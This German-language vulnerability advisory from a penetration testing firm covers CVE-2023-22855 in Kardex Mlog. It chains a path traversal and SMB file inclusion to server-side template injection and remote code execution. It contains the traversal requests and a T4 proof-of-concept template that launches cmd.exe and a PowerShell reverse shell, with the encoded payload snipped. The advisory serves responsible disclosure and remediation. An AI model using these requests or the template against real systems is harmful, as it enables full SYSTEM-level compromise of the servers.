Advisory: Kardex Mlog – Unsicherer Pfad in Verbindung mit SSTI führt zu RCE (CVE-2023-22855)

Die Kardex Mlog Software nutzt eine unsichere Funktion zur Verbindung von Dateipfaden. Dies erlaubt es lokale Dateien, aber auch externe Dateien über einen SMB Server, einzubinden. Kombiniert mit der Interpretation von .t4 Dateien kann dies mittels Server-Side Template Injection zu einer Remote Code Execution Schwachstelle ausgeweitet werden.
Der folgende Blogbeitrag führt auf, wie diese Schwachstelle gefunden wurde und ausgenutzt werden kann.

Kardex Mlog ist seit über 100 Jahren ein Unternehmen, das im Bereich für integrierte Materialflusssysteme und Hochregallager tätig ist. Hierfür entwickelt Kardex unter anderem Software zur Steuerung ihrer Systeme. Im Laufe eines Penetrationstests der Thinking Objects GmbH bei einem Kunden von Kardex, gelang es Testern eine Schwachstelle in einer Software der Kardex Mlog aufzudecken.

Technische Ausführung der Schwachstelle

Die initiale Aufdeckung einer Schwachstelle in der Software geschah durch einen Nessus-Scan. Dieser meldete eine „Web Server Directory Traversal Arbitrary File Access“-Schwachstelle. Dies konnte im Rahmen des Tests verifiziert werden und es gelang die win.ini-Datei des Web Servers auszulesen. Die betroffene Version der Software ist „5.7.12+0-a203c2a213-master“. Hierfür musste eine Anfrage mit dem folgenden Aufbau an den Server gesendet werden:

http://ip:port/\..\..\..\..\..\Windows\win.ini

Dies veranlasste die Tester dazu, die Software genauer zu betrachten. Da die Vermutung bestand, dass die Schwachstelle in einer Funktion, die die Anfragen zum Webserver verwertet, liegen könnte. Die Software selbst ist in C# geschrieben und verwendet das .NET Framework.
Nachdem die Software dekompiliert und einige Zeit in die Suche der entsprechenden Funktion investiert wurde, konnte der folgende Code aufgedeckt werden:

private void _httpServer_OnGet(object sender, HttpRequestEventArgs e)
{
try
{ bool flag = e.Request.Url.AbsolutePath.StartsWith("/api/");
MccHttpServerResult result;
if (flag)
{ result = this._mccApiServer.GetApi(e.Request.Url.AbsolutePath, e.Request.Headers.Get("Accept-Encoding"), e.Request.Url.Query);
}
else
{ string path = Uri.UnescapeDataString(e.Request.Url.AbsolutePath); result = this._mccHttpServer.GetFile(path, e.Request.Headers.Get("Accept-Encoding"), e.Request.Url.Query); }

[...gekürzt...]
}

In diesem Codeausschnitt sind 2 mögliche Fälle definiert. Der erste Fall verweist auf die Funktion GetApi, sobald die Anfrage mit /api/ beginnt. Wenn dies nicht der Fall ist greift der zweite Fall, welcher zur Funktion GetFile führt. Da dieser Fall in der initialen Aufdeckung der Schwachstelle von Nessus verwendet wurde, betrachteten die Tester im Anschluss die GetFile-Funktion:

public MccHttpServerResult GetFile(string path, string acceptEncoding, string queryString = null)
{ MccHttpServerResult result4;
try
{ Dictionary<string, string> responseHeaders = new Dictionary<string, string>();
bool flag = path == "/image";
if (flag)
{ NameValueCollection query = HttpUtility.ParseQueryString(queryString); using (BLToolKitSessionWrapper<CommonDL> s =
DLBaseBLToolkit<CommonDL>.CreateSession("MLog_MCC_Connection", null, false, null, null))
{ MccImageType imageType =
(MccImageType)Enum.Parse(typeof(MccImageType), query.Get("imagetype"), true); string name = query.Get("name");
ImageDTO img = null;
bool flag2 = name != "null" && name != "undefined";
if (flag2) {

[...gekürzt...]

} bool flag9 = this.DisableFileHosting();
if (flag9) { result4 = new MccHttpServerResult(HttpStatusCode.NotFound, null, null, null);
}
else
{ string getfileName = (path == "/") ? "index.html" :
path.Substring(1).Replace("/",
Path.DirectorySeparatorChar.ToString(CultureInfo.InvariantCulture));
string fileName = Path.Combine(this.RootDirectory(), getfileName);
string originalFileName = fileName;
bool acceptBrotli = false;
bool flag10 = acceptEncoding != null && acceptEncoding.Contains("br");
if (flag10)
{
responseHeaders.Add("Content-Encoding", "br");
acceptBrotli = true;
}
responseHeaders.Add("Access-Control-Allow-Origin", "*");
bool flag11 = this.DisableBrowserCache();
if (flag11)
{
responseHeaders.Add("CacheControl", "no-cache, no-store, must-revalidate");
responseHeaders.Add("Pragma", "no-cache");
responseHeaders.Add("Expires", "0");
}
string mime2 = MccHttpServer.GetMimeType(originalFileName);

[...gekürzt..] }

Auch in dieser Funktion werden wieder mehrere Fälle abgearbeitet. Ein Fall führt bei erfolgreicher Ausführung dazu, dass der Webserver dem Endnutzer ein Bild präsentiert und bei fehlerhafter Ausführung ein HTTP Error 404 ausgelöst wird. Dieser Fall wird aber nicht bei der von Nessus aufgedeckten Schwachstelle verwendet, da in der Anfrage kein /image verwendet wird. Dementsprechend wird die else-Kondition am Ende des Codeauszuges ausgelöst. In dieser Kondition steckt die eigentliche Schwachstelle, genauer in den folgenden 2 Zeilen:

string getfileName = (path == "/") ? "index.html" :
path.Substring(1).Replace("/",
Path.DirectorySeparatorChar.ToString(CultureInfo.InvariantCulture));
string fileName = Path.Combine(this.RootDirectory(), getfileName);

Die erste Zeile sorgt dafür, dass die index.html-Seite aufgerufen wird, wenn kein weiterer Pfad angegeben ist. Ansonsten werden für den gesamten Pfad Schrägstriche (Slashes) durch ein Trennzeichen ersetzt. Dieser wird dann in der zweiten Zeile mit dem Wurzelverzeichnis des Webserverordners durch die Path.Combine-Funktion verbunden. Dieses Zusammensetzen des Pfades geschieht ohne wirkliche Bereinigung der Eingabe des Endnutzers. Die Ersetzung von Slashes kann, da der Webservers auf einem Windows Betriebssystem läuft, vernachlässigt werden, da hier mit Backslashes durch das Dateisystem navigiert wird. Dies ermöglicht es, lokale Dateien vom Webserver ausgeben zu lassen.
Durch die Verwendung eines externen SMB-Servers ist es ebenfalls möglich, externe Dateien einzubinden:

http://ip:port/\\ipaddress\share\file

Ausweitung zur Remote Code Execution

Der Versuch eine funktionsfähige Webshell zur Ausführung von Kommandos einzubinden schlug fehl, da die Webshell stets als Content-Type text/plain interpretiert wurde.
Der Grund hierfür verbrigt sich in der GetFile-Funktion, in welcher der Content-Type der einzubindenen Datei bestimmt wird. Im nachfolgenden Codeausschnitt ist der kritische Teil für die Bestimmung des Content-Types aufgeführt:

bool flag14 = MccHttpServer._fileCache.TryGetValue(new ValueTuple<string, bool>(fileName, acceptBrotli), out cachedFile);
if (flag14)
{
result4 = new MccHttpServerResult(HttpStatusCode.OK, mime2, cachedFile, responseHeaders);
}
else
{ bool flag15 = File.Exists(fileName);
if (flag15)
{ using (FileStream f = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.ReadWrite))
{
byte[] bytes = new byte[f.Length];
f.Read(bytes, 0, bytes.Length);
bool flag16 = mime2 == "t4"; if (flag16)
{
return this.runTemplatingEngine(bytes, responseHeaders, queryString);
}
bool flag17 = mime2.StartsWith("text",
StringComparison.OrdinalIgnoreCase);
if (flag17)
{ string result2 = Encoding.UTF8.GetString(bytes);
string old = result2;

[...gekürzt...]

Sobald die GetMimeType-Funktion einen MIME-Type erkennt, der mit text anfängt, wird die einzubindenen Datei mit dem Content-Type text/plain an den Client zurückübergeben. Sollte die GetMimeType-Funktion allerdings den MIME-Type t4 ermittelt haben, wird der Inhalt der einzubindenden Datei an die Funktion runTemplateEngine weitergeleitet. Das bedeutet, um eine Datei einzubinden, die auch interpretiert werden kann, muss eine Datei mit dem MIME-Type t4 zur Verfügung gestellt werden. In der GetFile-Funktion wird auch definiert, wie dies erreicht werden kann:

else
{
if (!(text2 == ".t4"))
{
goto IL_919;
}
return "t4";
}

Die Datei muss die Dateiendung .t4 aufweisen.
Dies erweitert die Sicherheitslücke um eine Server-Side Template Injection (SSTI) Schwachstelle und ermöglicht die Einbindung einer .t4-Datei, die eine Rückverbindung zu einem externen System aufbaut.

Proof of Concept

Eine solche Datei muss in der Templating-Sprache mono/t4 Kommandos auf dem System ausführen können. Da mono/t4 in der Lage ist C# Code auszuführen, wurde als Proof of Concept die folgende Datei erstellt und an den Webserver übergeben:

<#@ template language="C#" #>
<#@ Import Namespace="System" #>
<#@ Import Namespace="System.Diagnostics" #>

Proof of Concept - SSTI to RCE
RCE running ...
<#
var proc1 = new ProcessStartInfo(); string anyCommand; anyCommand = "powershell -e [... snip base64 rev shell for readability ...]";

proc1.UseShellExecute = true;
proc1.WorkingDirectory = @"C:\Windows\System32";
proc1.FileName = @"C:\Windows\System32\cmd.exe";
proc1.Verb = "runas";
proc1.Arguments = "/c "+anyCommand;
Process.Start(proc1); #>

Enjoy your shell, good sir :D

Die folgenden Abbildungen zeigen die Anfrage an den SMB-Server mit dem oben aufgeführten Code in Burp Suite und schlussendlich die Rückverbindung zum angreifenden System:

Abbildung 1: Anfrage zur Einbindung der Proof of Concept Datei in Burp Suite
Abbildung 2: Rückverbindung zum Angreifersystem

Da die Software standardmäßig mit SYSTEM Berechtigungen ausgeführt wird, hat die Rückverbindung volle Berechtigungen auf dem Webserver.

Zum Ende konnte ein funktionsfähiger Exploitcode ausgearbeitet werden. Dieser automatisiert, inklusive des Startens des SMB-Servers, den aufgeführten Ablauf. Ein Link zum vollständigen Exploit Code kann dem Abschnitt „Referenzen“ entnommen werden.

Behebung des initialen Risikos

Jede Nutzereingabe ist als nicht vertrauenswürdig einzustufen. Deshalb sollte jede Eingabe, die durch einen Nutzer kontrolliert werden kann, vor der Verarbeitung bereinigt werden. Dies sollte in diesem Fall vor der Verarbeitung der Eingabe in der Funktion Path.Combine geschehen.
Der Hersteller hat bereits einen Patch zur Verfügung gestellt. Der Patch verfügt über keine eigene Versionsnummer.

Responsible Disclosure Ablauf

  • 13.12.2022: Schwachstelle entdeckt
  • 13.12.2022: Schwachstelle an den Hersteller gemeldet
  • 24.01.2023: Patch vom Hersteller veröffentlicht
  • 07.02.2023: Veröffentlichung der Schwachstelle

Credits

Die Schwachstelle wurde im Laufe eines Penetrationstests der Thinking Objects GmbH von Patrick Hener und Nico Viakowski gefunden.

E-Mail: patrickhener@posteo.de
E-Mail: nico.viakowski@to.com

Referenzen

Zum Autor

Nico Viakowski (ehemaliger Mitarbeiter)
IT Security Consultant

Im Fokus

NIS-2 kommt: Jetzt aktiv werden!

Die Uhr tickt und viele Unternehmen sind betroffen. In Kürze muss die neue EU-Richtlinie zur Erhöhung der Cybersicherheit umgesetzt werden. Das gibt es zu tun.

NIS-2 souverän umsetzen

Managed Detection and Response Service

24/7-Cyberabwehr durch Technik und Experten: Ein MDR-Service kombiniert modernste Erkennungstechnologie mit der Erfahrung eines Teams von Security-Spezialisten.

Mehr über den MDR-Service erfahren

Softwareentwicklern-Gruppe

Deine Karriere, Deine Zukunft

Bereit, die Cyber-Welt zu retten? Ob Ausbildung, Berufseinstieg oder mit Berufserfahrung. Sei Teil unseres Teams und finde bei uns endlich den Job, der zu Dir passt!

Zu unseren Stellenangeboten